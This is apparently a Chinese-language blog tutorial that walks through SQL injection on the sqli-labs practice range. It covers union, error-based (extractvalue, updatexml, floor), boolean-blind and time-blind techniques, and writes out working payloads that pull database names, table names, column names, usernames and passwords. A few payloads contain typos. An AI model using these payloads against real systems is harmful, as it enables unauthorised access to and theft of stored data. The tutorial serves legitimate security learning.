什么是sql注入
Sql注入,就是用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,就达到欺骗服务器执行恶意sql命令,从而我们就可以进一步的获取相应的数据信息。
说白了,就是构造一条能绕过一些限制的sql语句,来查询到想要得到的信息。
注入分类
按照查询分类
字符型 当输入的参数为字符串时,称为字符型。
数字型, 当输入的参数为整形时,就可以认为是数字型注入
按照注入方式
Union注入,报错注入,布尔注入,时间注入
什么是注入点
注入点就是可以进行注入的地方 (例如get类型的 ?id=)
![](https://i-blog.csdnimg.cn/blog_migrate/4886eb7761aa68fb85b2adc3997cd1b1.png)
如何判断是字符型注入还是数字型注入
使用and1=1和and1=2来判断
数字型一般提交的内容为数字,但数字不一定为数字型
以sqli-labs-master靶场为例
Less-1 在提交and1=1和提交and1=2都能正常显示就是字符型注入
![](https://i-blog.csdnimg.cn/blog_migrate/9f70ede79fe2afe82df1ebb4e6819d9c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/17d1ce0110c9ef795496b267f98ba290.png)
Less-2提交and1=2不能正常显示,我们就判断为数字型注入
![](https://i-blog.csdnimg.cn/blog_migrate/17d7d7eb6d02a256601541371c547377.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3c1f50922799fce99a9325f092075d97.png)
闭合方式
主要有4种
‘
“
‘)
“)
有页面返回信息的看页面出现的报错信息来判断
下图第一个‘和最后一个’闭合,中间两个‘闭合,所以这里就是‘闭合
![](https://i-blog.csdnimg.cn/blog_migrate/13c069fe9d186e5b5c4549fadd2db60b.png)
输入闭合符号是来结束前面一段查询语句,我们在后面就可以加上我们需要的其他语句,
然后我们紧跟着在后面加上注释符号--+ 或者 # 或者 %23来把后面不需要的原始语句注释掉
判断数据库列数
使用group by 或者order by
超过列数就报错,没超过列数就显示正常
![](https://i-blog.csdnimg.cn/blog_migrate/0d8e2f320999e97a36e6534f9ac09162.png)
![](https://i-blog.csdnimg.cn/blog_migrate/450a00938dc09642fcde3d7c1c2d6618.png)
Information_schema里面包含了所以数据库的信息,其中还包含了两个数据表tables(所有库的所有的表名),colimns(所有库的所有的列名)
table_schema:数据库的名称
table_name:表名
column_name:列名
Union注入
union是联合查询,在sql注入中我们在union的后面来构造注入语句,注意要使union前后的列数相同
Union注入的步骤
1确定数字型还是字符型(闭合方式)
2使用group by或者order by 来进行判断union前面的那一个查询语句的列数
3查询回显位,将id改为一个不存在的数(因为默认只显示union前面的语句查询的结果,改id为不存在的数后可以显示出union后面语句查询到的内容)【这里回显的位置就是2和3的地方】
![](https://i-blog.csdnimg.cn/blog_migrate/af943c6ba0db4455144aa80cb909b0b7.png)
4然后来查询库名,表名,字段名,数据
使用database()获取当前库名
![](https://i-blog.csdnimg.cn/blog_migrate/4dafa4a1c75b24e303c264e25ef0ffcc.png)
查询当前库所有表名
![](https://i-blog.csdnimg.cn/blog_migrate/0d6ae310797aefbd8469c6d19275c85b.png)
查询当前库的列名
![](https://i-blog.csdnimg.cn/blog_migrate/405b3195bc89cdd3a254d96f79ff5059.png)
报错注入
报错注入存在的基础是后台对于输入输出的内容没有进行必要的校验
构造一条语句,把需要的查询语句夹杂在错误语句中,返回的报错提示中包含着我们查询到的内容。
常用的报错注入方式
1通过extractValue()报错注入
2通过updateXml()报错注入
3通过floor()报错注入
ExtractValue()报错注入
extractvalue():从目标XML中返回包含所查询值的字符串。
extractvalue (第一个参数,第二个参数);用来查询
第一个参数:xml文档名称
第二个参数:路径
xml文档名称可以随便写
concat()是返回时把括号里面的内容拼接起来
extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全
substring(),00,20 从第00个字符开始显示20个字符(使用substring函数可以解决extractValue报错注入只能显示32个字符的问题)
查库名
?id=-1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
0x7e就是~的ascii码,这里面直接使用~容易报错所以用0x7e替
![](https://i-blog.csdnimg.cn/blog_migrate/d2124e57844d016d7a4682068e407b10.png)
换也可以使用’~’
查表名
?id=-1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),3 --+
![](https://i-blog.csdnimg.cn/blog_migrate/aa2897191cf0b923e32f00484872aac4.png)
显示用户名,密码
![](https://i-blog.csdnimg.cn/blog_migrate/3cba26760ef30e7d4757766dcab396d6.png)
updatexml报错注入
updatexml(xml_doument,XPath_string,new_value)用来替换
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 路径
第三个参数:new_value,String格式,替换查找到的符合条件的数据
Updatexml报错原理
同extractvalue(),输入错误的第二个参数(更改路径符号)一般输入0x7e也就是~
?id=1")and 1=upadtexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=databadase())),3) --+
![](https://i-blog.csdnimg.cn/blog_migrate/5adf8c81884fed8d4403e278121a0731.png)
floor报错注入
rand()函数:随机返回0-1之间的小数
floor()函数:小数向下取整,向上取整数是ceiling()
concat_ws()函数:将括号内的数据用第一个字段连接起来【concat_ws(符号,要拼接的数1,要拼接的数2)】
as别名
Count()函数返回匹配指定条件的行数。
limit 用来显示指定的行数
rand()函数:随机返回0-1之间的小数
select rand();计算结果在0-1之间
![](https://i-blog.csdnimg.cn/blog_migrate/9b3be89b534b60164ba380325a91c970.png)
select rand()*2;计算结果在0-2之间
![](https://i-blog.csdnimg.cn/blog_migrate/9099e90bfcaea61491acb038f1e24a93.png)
select rand()from emails;emails表有多少行就返回多少行随机显示计算结果
![](https://i-blog.csdnimg.cn/blog_migrate/be03a942fb437cc44579e169668cd38b.png)
floor函数返回小于等于该值的最大整数.(说白了可以视为直接去除该数的小数,只保留整数)
select floor(rand()*2);结果随机为0或1
![](https://i-blog.csdnimg.cn/blog_migrate/cf3e33a64ba96eb857dd622cda48253b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/384bbac19d9adb738ea7bc6046da2a3c.png)
Concat_ws()函数,将括号内的数据用第一个字段连接起来
select concat_ws('_',(select database()),floor(rand()*2))
![](https://i-blog.csdnimg.cn/blog_migrate/d78221f9d134135b8ae2ce50da37f0e0.png)
select concat_ws('_',(select database()),floor(rand()*2))from users;这里是有多少用户就有多少结果随机的行
![](https://i-blog.csdnimg.cn/blog_migrate/9ebd9390ed26575b2ac4caa711ab4e02.png)
as别名 ,group by分组
select concat_ws('_',(select database()),floor(rand()*2)) as a from users group by a;
把当前数据库名起一个别名a然后在users表里进行分组查询
![](https://i-blog.csdnimg.cn/blog_migrate/1268c9447456b3bcdfbf2b74aeddd9be.png)
count()函数;汇总统计数量
select count(*),concat_ws('_',(select database()),floor(rand()*2)) as a from users group by a;
![](https://i-blog.csdnimg.cn/blog_migrate/9eea52ead88c8a231547906c22eaf44e.png)
报错原理
select floor(rand()*2)from users;根据表的行数随机显示0,1
select floor(rand(0)*2)from users;按照一定的顺序来进行排序
select floor(rand(1)*2)from users;按照一定的顺序来进行排序
select count(*),concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;
一定报错
![](https://i-blog.csdnimg.cn/blog_migrate/c3af3b959f5bf65ac1efc7fc703924c3.png)
select count(*),concat_ws('_',(select database()),floor(rand(1)*2)) as a from users group by a;
一定不报错
![](https://i-blog.csdnimg.cn/blog_migrate/750ba91929e72560df68cebb818aed2c.png)
select concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;
把count(*)去掉之后就不在报错了,说明就是在统计时出现的错误
![](https://i-blog.csdnimg.cn/blog_migrate/6954d6245a7061f1e7c7b2a9c7ca6489.png)
select concat_ws('_',(select database()),floor(rand(0)*2))from users ;
由此可见计算结果固定
![](https://i-blog.csdnimg.cn/blog_migrate/62128cfeb6a61837dfe38da73105d476.png)
select count(*),concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;
rand()函数进行group by和统计count()时可能会多次执行,导致键值key重复导致其报错
from users是为了有足够的次数,我们一般可以使用行数比较多的默认数据库的表information_schema.tables
盲注
盲注:页面没有报错回显,不清楚具体的返回值的时候,对数据库里的内容进行猜测,来进行sql注入
盲注分为布尔盲注,时间盲注,报错盲注
布尔盲注
网页只返回真假两种类型的页面,我们可以利用页面返回的不同来进行猜测数据
布尔盲注判断闭合符号
排除双引号”
![](https://i-blog.csdnimg.cn/blog_migrate/d8c13f11d1a0e422e664afc8147238e4.png)
![](https://i-blog.csdnimg.cn/blog_migrate/9e15d1c6c7bb82ce296e2a48f919ee8d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/aa67003dfaf0365b0289f478374c1df3.png)
![](https://i-blog.csdnimg.cn/blog_migrate/0ecb8dc2aa89f3f32fc4f92f224b4d32.png)
排除单引号加括号’) 【如果是’)的话,单引号的那一个应该显示为真】
![](https://i-blog.csdnimg.cn/blog_migrate/880809b4d4efa8c538471d2735b967c2.png)
![](https://i-blog.csdnimg.cn/blog_migrate/64e761993f529f9e0b348bd8d4e97cf7.png)
使用函数ascii() 可以将字母转换成数字
为什么要非要转化成数字?
因为此处命令可以执行,但不能把信息返回回来
数字好进行大小的比较(字母其实也可以只是麻烦些)
?id=1' union select 1,database(),3 --+
![](https://i-blog.csdnimg.cn/blog_migrate/52c4b24db4d787a7b927398a4ba6ca41.png)
我们使用ascii()把查询的内容转化成数字,用页面的真假来进行判断
因为只能转换一个,所以只能一个一个的转换。
select ascii((select database()));只能显示一个字符转换的数字
![](https://i-blog.csdnimg.cn/blog_migrate/dcff6a1f20e88e39e3ee3c063a3a5785.png)
函数substr((),1,1)从第一个字符开始,显示1个字符
select ascii(substr((select database()),1,1))
![](https://i-blog.csdnimg.cn/blog_migrate/13cd767baaacd2770beddd87ef1ebe5b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/1205e9b96ee1dd70abf966516f69d778.png)
所以,我们可以通过页面的真假来判断数字的大小,推断出对应的字母,然后来拼凑出我们想要的内容。
我们一步步判断,当结果>114时页面为真,而>115时页面为假,结果为=115
?id=1' and ascii(substr((select database()),1,1))>100 --+
![](https://i-blog.csdnimg.cn/blog_migrate/42ff12902326d9cc766cc2c0e9920310.png)
?id=1' and ascii(substr((select database()),1,1))>114 --+
![](https://i-blog.csdnimg.cn/blog_migrate/32dcb117495e4d011166636dcf165707.png)
?id=1' and ascii(substr((select database()),1,1))>115 --+
![](https://i-blog.csdnimg.cn/blog_migrate/113762445d0d401605394699b4216ea8.png)
?id=1' and ascii(substr((select database()),1,1))=115 --+
![](https://i-blog.csdnimg.cn/blog_migrate/25085b44cb82749c597cac4bf867d58c.png)
数据量大时,我们要使用limit0,1从第0行开始显示1行从结果的第一行数据依次查询
查表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>100 --+
![](https://i-blog.csdnimg.cn/blog_migrate/d9285a2a7ff540ef9ec415f7f1c35a6a.png)
不然显示不出来
![](https://i-blog.csdnimg.cn/blog_migrate/fdb92478a8ba123c4c78d4914cb9e5de.png)
查列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100 --+
![](https://i-blog.csdnimg.cn/blog_migrate/b1a5823a4f6be6f221edf69fdf63829e.png)
时间注入
没有回显,没有报错,没有真假值的时候可以用时间盲注,但是前提是数据库会执行命令代码,只是不反馈页面信息
我们可以利用页面响应的不同,来逐个猜测内容
时间盲注闭合符判断
?id=1 and sleep(2) --+
?id=1'and sleep(2) --+
?id=1') and sleep(2) --+
?id=1" and sleep(2) --+
这里只能一个一个试,那个响应2s就是那个
函数sleep()是休眠的时长,以秒为单位,可以为小数
函数if(condition,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值
判断数据库名长度
?id=1'and if(length((select database()))>7,sleep(5),1)--+
![](https://i-blog.csdnimg.cn/blog_migrate/ee3465242be0d890e2addb7ac974e913.png)
查库名
?id=1' and if(ascii(substr((select database()),1,1))>100,sleep (0), sleep(5))--+
这里及时响应了说明库的首字母的ASCII码大于100
![](https://i-blog.csdnimg.cn/blog_migrate/ad26c7393e9d9a9864ee4f1b926bcff4.png)
?id=1' and if(ascii(substr((select database()),2,1))>100,sleep (0),sleep(3))--+
更改substr参数推算第二个字母并以此推算剩余字母,直到得出结果
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3))--+
![](https://i-blog.csdnimg.cn/blog_migrate/00fbd8bf84caa490031cc41cf04f147d.png)
?id=1' and if(asci(substr((select column_name from information schema.columns where table _schema=database() and table_name='users' limit 0,1),1,1))>100,sleep(0),sleep(3))--+
![](https://i-blog.csdnimg.cn/blog_migrate/2a86b73b410be0dd8b3322f0d57d7787.png)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100,sleep(0),sleep(3))--+
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>100,sleep(0),sleep(3)--+